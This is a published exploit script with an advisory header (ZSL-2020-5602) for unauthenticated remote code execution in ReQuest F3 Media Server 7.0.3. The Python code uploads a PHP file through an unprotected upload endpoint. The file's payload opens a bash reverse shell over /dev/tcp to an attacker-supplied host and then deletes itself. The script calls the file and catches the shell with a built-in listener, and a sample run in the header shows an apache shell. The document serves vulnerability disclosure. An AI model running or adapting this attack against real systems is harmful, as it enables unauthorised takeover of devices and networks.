ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution
# 
# 
# Vendor: ReQuest Serious Play LLC
# Product web page: http://www.request.com
# Affected version: 7.0.3.4968 (Pro)
#                   7.0.2.4954
#                   6.5.2.4954
#                   6.4.2.4681
#                   6.3.2.4203
#                   2.0.1.823
# 
# Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers
# into a compact powerhouse. With the ability to add unlimited NAS devices, the
# F3 can handle your entire family's media collection with ease.
# 
# Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote
# code execution vulnerability. Abusing the hidden ReQuest Internal Utilities
# page (/tools) from the services provided, an attacker can exploit the Quick
# File Uploader (/tools/upload.html) page and upload PHP executable files that
# results in remote code execution as the web server user.
#
# =============================================================================
# lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161
# Let's see waddup...
# Good to go.
# Starting handler on port 6161.
# Writing callback file...
# We got the dir: /75302IV29ZS1
# Checking write status...
# All is well John Spartan. Calling your listener...
# Connection from 192.168.0.17:42057
# You got shell.
# id;uname -ro
# uid=81(apache) gid=81(apache) groups=81(apache),666(arq)
# 3.2.0-4-686-pae GNU/Linux
# exit
# *** Connection closed by remote host ***
# lqwrm@metalgear:~/prive$
# =============================================================================
# 
# Tested on: ReQuest Serious Play OS v7.0.1
#            ReQuest Serious Play OS v6.0.0
#            Debian GNU/Linux 5.0
#            Linux 3.2.0-4-686-pae
#            Linux 2.6.36-request+lenny.5
#            Apache/2.2.22
#            Apache/2.2.9
#            PHP/5.4.45
#            PHP/5.2.6-1
# 
# 
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
# 
# 
# Advisory ID: ZSL-2020-5602
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php
# 
# 
# 01.08.2020
#

from time import sleep
import threading######
import telnetlib######
import requests#######
import socket#########
import sys############
import re#############

class Manhattan:
    
    def __init__(self):
        self.secretagent = "Mushu"
        self.payload = None
        self.deploy = None
        self.rhost = None
        self.lhost = None
        self.lport = None

    def the_args(self):
        if len(sys.argv) != 4:
            self.the_usage()
        else:
            self.rhost = sys.argv[1]
            self.lhost = sys.argv[2]
            self.lport = int(sys.argv[3])
            if not "http" in self.rhost:
                self.rhost = "http://{}".format(self.rhost)

    def the_usage(self):
        self.the_wha()
        print("Usage: python3 {} [targetIP:targetPORT] [localIP] [localPORT]".format(sys.argv[0]))
        print("Example: python3 {} 192.168.0.91:3664 192.168.0.22 6161\n".format(sys.argv[0]))
        exit(0)

    def the_wha(self):
        titl = "ReQuest Serious Play F3 Media Server RCE"
        print(titl)

    def the_check(self):
        print("Let's see waddup...")
        try:
            r = requests.get(self.rhost + "/MP3/")
            if "000000000000" in r.text:
                print("Good to go.")
            else:
                print("Something's fishy.")
                exit(-16)
        except Exception as e:
            print("Hmmm {msg}".format(msg=e))
            exit(-1)

    def the_upload(self):
        print("Writing callback file...")
        self.headers = {"Cache-Control" : "max-age=0", 
                        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP",
                        "User-Agent": self.secretagent,
                        "Accept" : "*/*",
                        "Accept-Encoding": "gzip, deflate",
                        "Accept-Language": "en-US,en;q=0.9",
                        "Connection": "close"}
    
        self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + "  <&1;rm bd0.php'\");"

        self.deploy  = "------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"########
        self.deploy += "Content-Disposition: form-data; name=\"uploa"       #
        self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T"       #
        self.deploy += "ype: application/octet-stream\r\n\r\n" + self.payload
        self.deploy += "\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte"
        self.deploy += "nt-Disposition: form-data; name=\"location\"\r\n\r\nm"
        self.deploy += "p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n"
    
        requests.post(self.rhost+"/shared/upload.php", headers=self.headers, data=self.deploy)
        sleep(1)
        r = requests.get(self.rhost + "/MP3/")
        regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2]
        print("We got the dir: /" + regex)
        print("Checking write status...")
        r = requests.get(self.rhost + "/MP3/" + regex)
        if "bd0" in r.text:
            print("All is well John Spartan. Calling your listener...")
        else:
            print("Something...isn't right.")
            exit(-16)    
        requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php")       

    def the_subp(self):
        konac = threading.Thread(name="ZSL", target=self.the_ear)
        konac.start()
        sleep(1)
        self.the_upload()

    def the_ear(self):
        telnetus = telnetlib.Telnet()
        print("Starting handler on port {}.".format(self.lport))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.lport))
        while True:
            try:
                s.settimeout(7)
                s.listen(1)
                conn, addr = s.accept()
                print("Connection from {}:{}".format(addr[0], addr[1]))
                telnetus.sock = conn
            except socket.timeout as p:
                print("Hmmm ({msg})".format(msg=p))
                s.close()
                exit(0)
            break

        print("You got shell.")
        telnetus.interact()
        conn.close()

    def main(self):
        self.the_args()
        self.the_check()
        self.the_subp()

if __name__ == '__main__':
    Manhattan().main()

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